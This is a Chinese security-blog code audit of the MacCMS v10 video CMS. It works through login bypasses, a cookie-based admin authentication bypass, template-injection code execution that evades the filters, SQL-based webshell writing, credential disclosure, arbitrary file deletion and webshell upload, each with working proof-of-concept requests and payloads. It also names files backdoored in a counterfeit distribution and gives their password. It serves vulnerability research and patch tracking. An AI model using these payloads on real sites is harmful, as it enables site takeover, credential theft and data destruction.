freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

边吃瓜边审计 MacCMS
2021-11-22 11:53:27

0x01 简介

MacCMS 是一套快速视频内容管理开源 cms 系统。据说 MacCMS 已经发展了 12 年,现在流行的两个版本是v10和v8,本次主要审计 v10 的代码。

MacCMS v10的代码采用了 ThinkPHP 5.0 的框架,在做代码审计时需要对 TP5 的框架比较熟悉。

真假 MacCMS

MacCMS 目前有两个自称官方的网站,maccms.la 和 maccms.pro。但这两者都没有拿出绝对的证据证明自己是 MacCMS 的官方平台,但两者都底气十足的指出对方是假冒网站。在审计 v10 的代码前,我对这场闹剧反而兴趣十足,下面是我吃瓜收集的一些信息,但不能保证以下信息的全部真实性,就当娱乐性的吃瓜了:

首先目前公认的是 MacCMS 作者是一个叫做老王的程序员(原名王波),在开发 MacCMS 期间,一直使用的域名是 maccms.com。不过在 2019 年,MacCMS 被用于构建非法网站的原因,官方域名 maccms.com 在2019年5月左右关闭。

maccms.la 的 github 账号为 magicblack,于 2016 加入 github 仓库,在 2019 年 7 月 8 日创建了 MacCMS v8 和 v10 的仓库。

按照 magicblack 的说法,2021年6月,maccms.com 域名被盗取,转移到了境外。现在 maccms.com 会被解析到 maccms.pro 域名上。

maccms.pro 的 github 账号为 maccmspro ,于 2021 年 6.4 日加入 github 仓库,更新频率明显慢于 magicblack。不过 maccmspro 在建立时就做好了计划要推出全新的版本。另外 maccmspro 在官网上的一篇博客声明自己并不是原版MacCMS 的作者老王,但却指出自己是正版? maccmspro 的意思似乎是不忍 MacCMS 盗版猖獗,于是单方面决定替老王维护 MacCMS 程序。

图片.png

从这里其实能感受到 maccmspro 就是为了蹭原版 MacCMS 的热度,想做 MacCMS 的新官方平台,并逐步成为新版 MacCMS。

不过 maccmspro 在 github 似乎出现过一个乌龙,挺尴尬的,如下图,但此图真实性不确定。

图片.png

另外也有一个域名 maccms.cn ,自称是 MacCMS 爱好者,和 maccms.la 网站的 UI 一模一样 ,却指出 maccms.la 是假冒域名,并指出官方域名为 maccms.pro。

下面是我找到的一张 MacCMS 早期 maccms.com 的首页图,maccms.la 和 maccms.cn 现在就是这样的 UI。

图片.png

最后梳理一下,从有记录的时间上来看,magicblack 维护了 MacCMS 的代码有接近两年的时间,maccmspro 维护代码的时间只有 5个月。magicblack 在 github 上的点赞和 maccms.la 域名搜索排名上都要领先于 maccmspro。不过 maccmspro 拥有 .com 和 .cn 更让人信服的域名,配合强大的营销,maccmspro 也迅速站住了脚。

目前看来 maccmspro 确定是一个想借用原版 MacCMS 名声打造新 MacCMS 的平台,剩下的问题就是 magicblack 是否是原版。

我有找到苹果cms的百度贴吧,最早的消息能追溯到2017年,吧主名字也为 magicblack(这个 id 可以在很多博客网站上找到),从多方信息来看,magicblack 似乎是老王本人,种种迹象也表明 magicblack 似乎就是原版,但下面 magicblack 做的两件事也容易让人产生怀疑:

1)在 maccms.com 关闭后,magicblack 才在 github 上提交代码,无法证明在原官方正版存在时 magicblack 做出了重大更新。

2)magicblack 存在争议较大的文件:static/js/player.js,在 magicblack 中该文件的代码一直加密的,这段代码有引流、加载广告的嫌疑。maccmspro 声称解密了该代码,并利用这个把柄称 magicblack 在种木马,从而为自己赢得了不少信任。

关于 magicblack 和 maccmspro 的瓜参考如下信息:

https://www.maccms.la/

https://www.zhihu.com/question/469030135

https://tieba.baidu.com/p/7425108612

https://www.xunaonao.com/15058.html

吃瓜最后,无论谁是 MacCMS 的正版维护者,能吸取的教训就是要好好维护自己的知识产权,同时也不要辜负用户的信任,做一些奇怪的操作,毕竟对广大的使用者来说,好用是唯一标准。

最后我有一个小小的吐槽,老王为什么取名 MACcms?MacCMS 中文名是苹果CMS,所以Mac和苹果有什么关系???难道因为Macbook?

安装

代码在 magicblack 或 maccmspro 的 github 仓库下载就可以了,虽然不知道这两家谁是正版,但目前两者的代码是差不多的,如果要区分两家的代码,有下面两种方法。

1)区分 static/js/player.js 页面

maccmspro 和 magicblack 的 player.js 区别明显,可以在github上找相关源码对比细节,不过github上两者在代码版本标签上都没有打的很明显,该方法可能不够精准。

2)后台查看跳转

在后台点击左上角图标就会跳转到对应网站,是谁就一清二楚了。

图片.png

【安装主题】

我下载的代码前台是没有模板文件的,这会影响对前台功能代码的审计。网上随便找套主题即可,这里贴一个好心人提供的模板:https://www.lanzoux.com/s/pgcms,据说 maccms 站长用海螺模板的较多,可以优先选这个。

0x01 前台任意用户登陆

在 MacCMS 最新版中,前台会员中心功能处存在两种登陆方式,通过构造参数可以实现任意用户登陆

(发此文时 magicblack 已在github 上修复)。

1.1 代码分析

关键代码如下:

可以看到有两种登陆验证方式,第一种是常见的用户名密码。

第二种验证方式转换成sql语句的where字段就是where $data['col']=$data['openid'],而两边的参数都是可控的,所以这里很好通过验证。

//	application/common/model/User.php
public function login($param)
{
    $data = [];
    $data['user_name'] = htmlspecialchars(urldecode(trim($param['user_name'])));
    $data['user_pwd'] = htmlspecialchars(urldecode(trim($param['user_pwd'])));
    $data['verify'] = $param['verify'];
    $data['openid'] = htmlspecialchars(urldecode(trim($param['openid'])));
    $data['col'] = htmlspecialchars(urldecode(trim($param['col'])));

    if (empty($data['openid'])) {
        // 验证用户名密码	……
    } else {
        if (empty($data['openid']) || empty($data['col'])) {
            return ['code' => 1001, 'msg' => lang('model/user/input_require')];
        }
      	// 第二种验证
        $where[$data['col']] = $data['openid'];
    }
    $where['user_status'] = ['eq', 1];
    $row = $this->where($where)->find();
		……
}

1.2 漏洞利用

构造where $data['col']=$data['openid'],在数据库的 user 表中,user_id 是最清楚的,直接构造user_id=xxx就可以实现任意用户登陆。

poc:openid为任意用户id

POST /index.php/user/login

openid=1&col=user_id

发送 poc 后会显示登陆成功,此时浏览器已经获取了登陆后的cookie,然后直接访问前台就好了。

图片.png

登陆成功

图片.png

0x02 绕过后台会话验证

在早些 MacCMS 版本中,后台会话认证的数据全部来自客户端的 cookie ,该参数可控,可以结合 TP5 的一些特性绕过后台的会话认证,从而登陆后台。

2.1 代码分析

后台登陆的关键代码如下:

$admin_id,$admin_name,$admin_check来自客户端 cookie,通过 TP5 的cookie 助手函数获取,所以这三个变量是可控的,同时该漏洞还需要理解 TP5 的 cookie 助手函数,后面会详细分析该函数的代码。

$admin_id,$admin_name,$admin_check都不能为空,这里就会限制很多弱类型比较的参数。

$admin_id,$admin_name会赋值到$where上,==这里是直接赋值上去的,写法是不严谨的,也是造成该漏洞的关键因素之一==。这两个参数值最终会用于查询 admin 表的数据,查询结果赋值到$info。这里$info不能为空。这是后台的第一个验证条件,就是在 admin 表中存在$admin_id,$admin_name的数据,这里的条件是比较好绕过的,后面会将详细构造。

$login_check是一段 md5() 加密值,其中加密参数$info['admin_random']是未知的。第二个验证条件便是$login_check$admin_check弱类型相等,在没有$info['admin_random']的情况下,没法构造相等的 md5 值,在$login_check固定为一个 md5 字符串的情况时, 根据 PHP 的弱类型比较,==$admin_check需要传入bool类型true或整数类型0,而TP5 的cookie 助手函数获取的 cookie 确实存在这样的机会==,下面来看看该助手函数的详细代码。

//	application/common/model/Admin.php
public function checkLogin()
{
    $admin_id = cookie('admin_id');
    $admin_name = cookie('admin_name');
    $admin_check = cookie('admin_check');

    if(empty($admin_id) || empty($admin_name) || empty($admin_check)){
        return ['code'=>1001, 'msg'=>'未登录'];
    }

    $where = [];
    $where['admin_id'] = $admin_id;
    $where['admin_name'] = $admin_name;
    $where['admin_status'] =1 ;

    $info = $this->where($where)->find();
    if(empty($info)){
        return ['code'=>1002,'msg'=>'未登录'];
    }
    $info = $info->toArray();

    $login_check = md5($info['admin_random'] . $info['admin_name'] .$info['admin_id']) ;
    if($login_check != $admin_check){
        return ['code'=>1003,'msg'=>'未登录'];
    }
    return ['code'=>1,'msg'=>'已登录','info'=>$info];
}

cookie 助手函数将会调用\think\Cookie类的get方法获取客户端传来的 cookie 值,代码如下:

$name是传入 get() 方法的参数,就是上面的 admin_id、admin_name、admin_check。

$value就是 cookie 中的参数值,这里还有个判断,如果$value是以think:开头的字符串,其think:后面的字符串又会经过json_decode()\think\Cookie::jsonFormatProtect()的处理。

这里便是关键了,看了下php manual,json_deode()在遇到true,falsenull会相应地返回 true, falsenull,而 bool 类型的 true 就是我们一直期待的。

json_decode()会使$value获取到 bool 类型的 true值,然后又会经过think\Cookie::jsonFormatProtect()处理,查看其代码,$valuetrue时并不会被处理,所以我们构造的 true活了下来。

//	thinkphp/library/think/Cookie.php
public static function get($name = '', $prefix = null)
{
		$prefix = !is_null($prefix) ? $prefix : self::$config['prefix'];
    $key    = $prefix . $name;
    if ('' == $name) {……    } elseif (isset($_COOKIE[$key])) {
        $value = $_COOKIE[$key];

        if (0 === strpos($value, 'think:')) {
            $value = json_decode(substr($value, 6), true);
            array_walk_recursive($value, 'self::jsonFormatProtect', 'decode');
        }
    } else {
        $value = null;
    }
    return $value;
}
protected static function jsonFormatProtect(&$val, $key, $type = 'encode')
{
    if (!empty($val) && true !== $val) {
        $val = 'decode' == $type ? urldecode($val) : urlencode($val);
    }
}

2.2 漏洞利用

通过分析代码,绕过后台验证有两个判断条件,传入的可控参数是$admin_id,$admin_name,$admin_check。

1)条件1,能从数据库中查询到 admin_id,admin_name 的用户。该条件需要保证 admin 表中存在$admin_id,$admin_name这样的值,即存在这样的管理员id,管理员用户名。

一般管理员id为1,账号为admin,这个概率还是很大的。不过这里也可以利用 TP5 的一个特性,可以传入如下的值:

$where['admin_id'] = ['like','%'];
$where['admin_name'] = ['like','%'];
$info = $this->where($where)->find();

此时执行的sql语句为如下:

SELECT * FROM `mac_admin` WHERE  `admin_id` LIKE '%'  AND `admin_name` LIKE '%'  AND `admin_status` = 1 LIMIT 1

此时构造的cookie应该为:

admin_id[]=like;admin_id[]=%; admin_name[]=like;admin_name[]=%

这样将会查询到 admin 表中的第一个账号,一般第一个账号都是权限最大的,够用了,也可以尝试控制id,模糊匹配用户名。

2)条件2,md5验证

$admin_check将会和数据库中查询到的 id,admin_name,admin_random做md5验证,因为 admin_random 这里是无法获取的,这三者的加密值必定一串未知md5加密字符串,不过利用 TP5 特性,可控制$admin_checktrue,造成弱类型相等。

2.3 最终poc

所以最终的poc如下:

Cookie: admin_id[]=like;admin_id[]=%; admin_name[]=like;admin_name[]=%; admin_check=think:true

网上的公开的 poc 更加精简一些:

Cookie: admin_id=think:["like","%"]; admin_name=think:["like","%"]; admin_check=think:true

2.4 简单总结

在 v2020.1000.1035 版本以前存在漏洞,该漏洞的核心是弱类型比较,但也用到了很多 TP5 的特性,挖掘该漏洞还需要对 TP5 的框架代码十分了解。

v2020.1000.1042(2020.11.9)代码如下图,不知道维护者是有意还是无意,对 cookie 的值做了 urldecode() 操作,该操作最直接的影响就是$admin_check的值无法控制为布尔类型的 true,所以该漏洞基本也就修复了。另外 $where 也指定了 'eq' 操作,这样的写法更加严谨一点。

图片.png

在 v2020.1000.1062(2021.1.25) 版本中,将使用session处理会话,该漏洞基本就宣告结束了。

图片.png

0x03 后台任意文件写入

后台【模板】=>【模板管理】功能处可以添加修改模板文件,该功能会造成任意文件写入,再利用 TP5 的模板解析特性,可能会执行写入的代码。

这个功能会造成很多利用方式, magicblack 版本一直在做修复,但始终有绕过的方式。结合网上公开的利用方式,我也发现了很多方法可以突破这些修复的版本,下面一一总结。

(发此文时 magicblack 已在 github 上修复)

3.1 代码分析

下面代码来自 v2020.1000.1035 版本:

$fname,$fpath会指定模板文件的位置,其后缀被白名单限制,只能为 array('html', 'htm', 'js', 'xml') 其中之一。

$fcontent为写入模板文件的内容,其内容禁止存在<?,{php}字符的字样,其实在早期版本中,甚至还没有该条过滤,很容易写入php代码,当时的漏洞编号为 CVE-2019-9829,可惜在github上没有找到cve漏洞源码。虽然现在过滤了一些php格式的字符,但仍然有绕过的机会,所以本文主要分析绕过漏洞修复的情况。

通过分析代码,我们可以写入一些html,js等后缀的静态文件,静态文件是没法被解析的。但这里又利用了 TP5 模板解析的特性,TP5在模板解析时会把静态模板文件编译成php后缀的缓存文件,然后被包含在对应的控制器代码中,从而输出视图。

所以在 TP5 中,只要能控制静态文件的内容,如在静态文件中写入<?php phpinfo();?>,这段代码最终也会被包含在控制器中从而被解析执行,所以这里我们只要想办法在模板文件中写入 php 代码即可。

//	application/admin/controller/Template.php
public function info()
{
    $param = input();
    $fname = $param['fname'];
    $fpath = $param['fpath'];

    if( empty($fpath)){
        $this->error('参数错误1');
        return;
    }
    $fpath = str_replace('@','/',$fpath);
    $fullname = $fpath .'/' .$fname;
    $fullname = str_replace('\\','/',$fullname);

    if( (substr($fullname,0,10) != "./template") || count( explode("./",$fullname) ) > 2) {
        $this->error('参数错误2');
        return;
    }
    $path = pathinfo($fullname);
    if(!empty($fname)) {
        $extarr = array('html', 'htm', 'js', 'xml');
        if (!in_array($path['extension'], $extarr)) {
            $this->error('参数错误,后缀名只允许htm,html,js,xml');
            return;
        }
    }

    if (Request()->isPost()) {
        $fcontent = $param['fcontent'];
        if(strpos($fcontent,'<?')!==false || strpos($fcontent,'{php}')!==false){
            $this->error('安全提示,模板中包含php代码禁止在后台编辑');
            return;
        }
        $res = @fwrite(fopen($fullname,'wb'),$fcontent);
				……
    }

    $fcontent = @file_get_contents($fullname);
    $fcontent = str_replace('</textarea>','<&#47textarea>',$fcontent);
    $this->assign('fname',$fname);
    $this->assign('fpath',$fpath);
    $this->assign('fcontent',$fcontent);

    return $this->fetch('admin@template/info');
}

3.2 漏洞利用

这个漏洞存在很久了,从 maccms.la 维护的代码来看,该漏洞被修复了几次,在实战中需要根据情况利用。

在 CVE-2019-9829 中,该漏洞第一次被提出,不过那时代码我也找不到了,当时的代码只允许修改 .html 这种静态文件,却忽略了写入php代码会被TP5的模板引擎编译后解析的情况。

现在能找到的最早的代码是 v2020.1000.1035 ,就是上面分析的代码,限制了写入内容具有php标记的情况。

在 v2020.1000.1035 版本中,过滤了更多内容,则表示写入内容中不能有这些字符。

图片.png

在 2021.9.9 日的更新中(该更新没有打tags,后台显示版本号为v2022.1000.3024,感觉maccms.la维护不太专业的),过滤内容如下,在maccmspro版本中没有做该修复。

图片.png

3.2.1 更换标记风格

php的 4 种标记风格:http://c.biancheng.net/view/7256.html

其实 php 有如下4种标记风格:

<?php	…… ?>
<? …… ?>		//启用 short_open_tag
<% …… %>		//启用 asp_tags  php7不支持
<script language="php">……</script>	//php7 不支持

第三种和第四种能绕过<?的过滤,本地测试第4种有效,不过不支持 php7 版本。

poc:

<script language="php">
phpinfo();
</script>

需要在php5中执行,另外在后面的修复版本中过滤了php字符,该poc会无效。

3.2.2 文件包含

先了解下tp5模板引擎的include标签,该标签可以实现文件包含,用法如下,被包含模板文件的起始目录应该为web部署目录。

{include file='模版文件1,模版文件2,...' /}

我们便可以考虑上传一个含有php代码的文件,然后利用模板编辑的功能使其包含上传的文件。

1)上传文件

后台有很多地方可以上传文件,我选择的功能是【文章】->【添加文章】,上传文件后可以看到文件内容。

图片.png

这里会使用 finfo_file() 检测上传文件是否是php文件格式,绕过也很简单,在第一行加一些字符串就行,如我上传的文件如下:

111111
<?php phpinfo();?>

2)编辑模板

这里选一个我们能访问到的模板,为了方便我直接选择了前台首页的模板,在实战中要留意了,网站首页动静还是很大的。

添加include标签,包含我们上传的文件,然后保存即可。

图片.png

3)检验成果

访问首页即可看到我们修改的模板已经被包含进去了。

图片.png

最后可以看看缓存文件被编译成了什么样子。

图片.png

poc:

{include file="upload/art_editor/20211109-1/fa8ae56a1bada27ac2c4edae0f7cbddb.txt" /}

在最新修复版本中过滤了 file 字符,导致该poc无效。file 字符都被被过滤了,include没过滤,这种修复方式还是有点奇怪的,我下的主题大多模板文件本身就有file字符,该功能在这种情况下形同摆设。

3.2.3 特殊标签

代码分析

上面说道{include}这样的标签会被编译成文件包含的php语法,其实这里还有其他标签格式可以绕过最新的修复,这里先看看 TP5 是如何编译这些标签的。

TP5 编译模板位于\think\Template类的 compiler() 方法,代码如下:

$content就是静态模板文件读出来的内容

parseInclude() 就是上面解析include标签的函数,这里就不细看其中的代码

//	thinkphp/library/think/Template.php
private function compiler(&$content, $cacheFile)
{
  	// 模板解析
    $this->parse($content);
public function parse(&$content)
{
  	……
  	// 检查include语法
    $this->parseInclude($content);
  	……
    // 解析普通模板标签 {$tagName}
  	$this->parseTag($content);
  	……

深入 parseTag() 的代码,该函数最常见的解析规则如下:

Hello,{$name}!
Hello,<?php echo($name);?>!

标签 {$…} 包裹的内容就是 php 要输出的内容,粗略看一下 parseTag() 的代码会发现,解析标签不止有{$},还有其他很多情况,而大佬们就发现了这样的场景,佩服佩服呀!

图片.png

根据网上流出payload,先看标签 {:} 的代码:

$regex 是正则表达式,用于抓取如{$name}这样的标签结构,$match 是其中的一个匹配结果,其中$match[1] 是第一个匹配子组,就是剥离{}符号里面的内容,即$name,该值赋值给 $str。

$str 的第一个字符作为 $flag,决定该标签的解析方式,这里查看第一个字符为:的情况。

$str 会去掉第一个字符,然后被 parseVar() 处理后直接放到<?php echo $str; ?>,所以保证$str内容即可,下面看下 parseVar() 的代码。

private function parseTag(&$content)
{
		$regex = $this->getRegex('tag');
		if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER)) {
    		foreach ($matches as $match) {
        		$str  = stripslashes($match[1]);
            $flag = substr($str, 0, 1);
            switch ($flag) {
								case ':':
                    // 输出某个函数的结果
                    $str = substr($str, 1);
                    $this->parseVar($str);
                    $str = '<?php echo ' . $str . '; ?>';
                    break;

parseVar() 的代码如下:

这里有个很关键的正则匹配,匹配结果如下图,这个正则会匹配$aaa.bbb,$aaa:bbb的参数形式。

图片.png

这是一个将正则表达式转换为图片的网站:jex.im通过图片更好理解正则表达式

另外这里有个正则规则?>一直没有百度到是什么,我转换为了?:理解

没有匹配到正则 则不做处理

通过正则匹配的代码我也没有细看,通过调试大概知道是怎样的转换形式。

public function parseVar(&$varStr)
{
    $varStr = trim($varStr);
    if (preg_match_all('/\$[a-zA-Z_](?>\w*)(?:[:\.][0-9a-zA-Z_](?>\w*))+/', $varStr, $matches, PREG_OFFSET_CAPTURE)) {
        ……}
    return;

最后来总结下,会有一下的转换形式:

1)未匹配到正则,不处理
{:aaa}	=>	aaa		=>	<?php echo aaa; ?>
2)数组参数
{:$aaa.bbb}	=>	$aaa['bbb']	=>	<?php echo $aaa['bbb']; ?>
3)对象属性
{:$aaa:bbb}	=>	$aaa->bbb		=>	<?php echo $aaa->bbb; ?>

我们可以充分利用这个规则,写出如下格式:

{:$a="phpinfo";$a()}	=>	<?php echo $a="phpinfo()";$a(); ?>
// 如果过滤了敏感字符,采用如下格式绕过
{:$a="ph"."pinfo";$a()}

然后看看模板编译结果:

图片.png

在 v2022.1000.3024 版本中,便做了如下限制,{:符号也被过滤了。

$filter = '<\?|php|eval|server|assert|get|post|request|cookie|session|input|env|config|call|global|dump|print|phpinfo|fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell|base64|file|proc|preg|call|ini|{:';

但是看代码,其实 $flag 为~、-、+符号时,处理是一样的,所以这个修复方案并没有解决问题,也从另外一个方面看出了代码维护者对漏洞原理或TP5底层代码并不熟悉。

图片.png

poc:

{~$a="ph"."pinfo";$a()}

漏洞利用

maccms 最新版本号是 v2022.1000.3024,这个版本在修改模板时过滤了很多字符串,导致模板文件本身的字符串也也被过滤了,导致整个功能显得有点鸡肋。

为了利用这个功能,需要找到一个没有一点敏感字符的模板文件,我写了个脚本完成了这部分工作:

图片.png

我这里找到一个不需要登陆的模板 public/paging(不同的主题模板文件不同),该模板被 vod/search.html 包含,vod/search 可直接访问。在后台修改 模板 public/paging ,插入poc:

图片.png

然后访问使用到该模板的地方。

图片.png

0x04 后台利用数据库功能

Maccms 后台有一个执行 sql 语句的地方,位于【数据库】-》【执行SQL语句】。

图片.png

4.1 代码分析

$sql是客户端的参数,也就是要执行的sql语句。

$sql以 select 字符开头不会进行任何处理,但这里是很好绕过的,可以看出这里本意是不想执行查询操作的。否则$sql将会用Db::execute()执行,Db::execute()是 TP5 封装的执行原生sql的方法,是没有任何过滤的,所以利用这个功能我们是可以执行任意sql语句。

//	application/admin/controller/Database.php
public function sql()
{
    if($this->request->isPost()){
        $param=input();
        $sql = trim($param['sql']);

        if(!empty($sql)){
            $sql = str_replace('{pre}',config('database.prefix'),$sql);
            //查询语句返回结果集
            if(strtolower(substr($sql,0,6))=="select"){

            }
            else{
                Db::execute($sql);
            }
        }
        $this->success(lang('run_ok'));
    }
    return $this->fetch('admin@database/sql');
}

4.2 into outfile 写入木马

利用 SQL 写木马是常规操作,poc如下,加括号的原因是绕过strtolower(substr($sql,0,6))=="select"条件。

(select '<?php phpinfo();?>' into outfile '/var/www/1.php')

不过这种利用方式首先要知道网站的根目录,其次还得看权限够不够。

获取根目录上暂时没有找到好办法,不过这里有可以借用修改模板的地方,使其输出ROOT_PATH常量,这是保存 TP5 web 根目录的常量,代码如下,而且这种写法也不会被过滤,应该还是挺高效的:

{$Think.ROOT_PATH}

然后访问对应模板的页面获取到根目录,剩下的就是看有没有sql写文件的权限了。

图片.png

说到这,已经能感受到这个模板能做很多事,比如输出 TP5 的配置文件中的数据库连接参数,这样就能直接获取数据库权限。

{$Think.config.database.username}<br>
{$Think.config.database.password}

这里的sql执行操作其实感觉也能做很多其他的事情,如很多程序会把数据库中的内容不禁过滤写入到文件中,利用这个功能,这里还能造成任意文件写入漏洞。

4.3 任意文件删除漏洞

有了执行任意 sql 的权限后,就能修改数据库的任意数据,然后我就想看看程序有没有获取数据库数据做敏感操作的地方。然后找到了一处删除文件的功能,位于【基础】-》【附件管理】。

图片.png

这里介绍的漏洞位于 v2020.1000.1068 版本之后。maccms 早期也爆出过任意文件删除漏洞,https://github.com/magicblack/maccms10/issues/346,原理和这里差不多,不过漏洞都被修复了。

4.3.1 代码分析

删除功能的代码如下:

$ids可以传入文件id,然后在数据库查找到id对应的文件路径 $v['annex_file'],最后拼接这个文件路径删除真实文件。

删除文件前会对真实的文件路径做验证,但这个验证方法有点问题,只需要满足file_exists($pic) && (substr($pic,0,8) == "./upload")count( explode("./",$pic) ) ==1的条件就可以了。而这里路径会加上./,似乎count( explode("./",$pic) ) ==1条件不好满足了。

//	application/admin/controller/Annex.php
public function del()
{
    $param = input();
    $ids = $param['ids'];
    if(!empty($ids)){
        if(is_array($ids)){
            foreach($ids as $k=>$v){
                $ids[$k] = str_replace('./','',$v);
            }
        }
        $where=[];
        $where['annex_id|annex_file'] = ['in',$ids];
        $res = model('Annex')->delData($where);
      	……
//	application/common/model/Annex.php
public function delData($where)
{
    $list = $this->listData($where,'',1,9999);
    $path = './';
    foreach($list['list'] as $k=>$v){
        $pic = $path.$v['annex_file'];
        if(file_exists($pic) && (substr($pic,0,8) == "./upload") || count( explode("./",$pic) ) ==1){
            unlink($pic);
        }
    }
		……

4.3.2 漏洞利用

maccms 有一个 install.lock 文件,删除该文件后可重新安装 maccms 系统,以删除该文件来演示这里的操作。

1)向数据库插入要删除文件的路径

指定id好找文件,文件id什么的抓包就有了。

UPDATE `maccms`.`mac_annex` SET `annex_file` = 'upload/../application/data/install/install.lock' WHERE `annex_id` = 21

2)利用删除功能删除文件

图片.png

0x05 其他问题

5.1 后台添加视频处存在存储xss

后台添加文章和添加视频处都有存储型xss,如下图所示,很多位置都能插入xss代码。

图片.png

在前台就能访问到插入的xss代码,还是有一定的危害。

图片.png

5.2 后台离线安装应用上传木马

在早期版本中,后台可以上传zip压缩包,maccms会解压后保存。

图片.png

该功能关键代码如下图,压缩包的关键是 info.ini 文件。

图片.png

系统本身有一份 info.ini ,复制过来修改一下就行,我修改的 info.ini 如下,留意到 name 将决定上传的目录名。

name = shell
title = test
intro = test
author = MagicBlack
website = http://www.maccms.la
version = 1.0.0
state = 0
url = /admin.php/addons/shell.html

然后把要上传的文件和 info.ini 放在同一目录并压缩,注意直接压缩上传的文件,压缩文件中不要有目录。

图片.png

上传压缩包,解压的文件将被放到 addons/shell 目录下,这里的shell就是info.ini中的name,然后访问上传的文件即可。

图片.png

漏洞修复

在 v2022.1000.3005 版本中(2020.12.13),该功能被禁用了,直接exit退出了。

图片.png

5.3 假冒网站留后门

上面看了 magicblack 和 maccmspro 的闹剧,其实在2019年,maccms.com 关闭后,就出现过仿冒的网站,域名为 maccmsv10.com,很多人下载了仿冒网站的源码,而源码中却留有后门。

至今过去了两年的时间,仿冒网站也关闭了,这里就不多介绍了,估计现在使用这套代码的网站也是少之又少,这里记录一下这个版本的木马,也许运气好能遇到。

maccms10\extend\upyun\src\Upyun\Api\Format.php
maccms10\extend\Qcloud\Sms\Sms.php

密码 WorldFilledWithLove

0x06 总结

本次主要审计了 MacCMS v10的代码,发现其中的问题主要在于登陆认证,模板编辑,数据库功能操作上,仔细研究代码,发现很多问题都在于作者并不熟悉 TP5 底层代码的处理。

在fofa上能找到很多 MacCMS 的站点,可能这种网站很挣钱(嗯嗯嗯),也许正是因为不少的利益诱惑,上演了一波又一波的真假美猴王的好戏。

最后瓜吃到这里,代码也审到这里,这套代码可能还有一些有趣的漏洞,希望一起交流学习。

# web安全 # 漏洞分析 # 代码审计
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录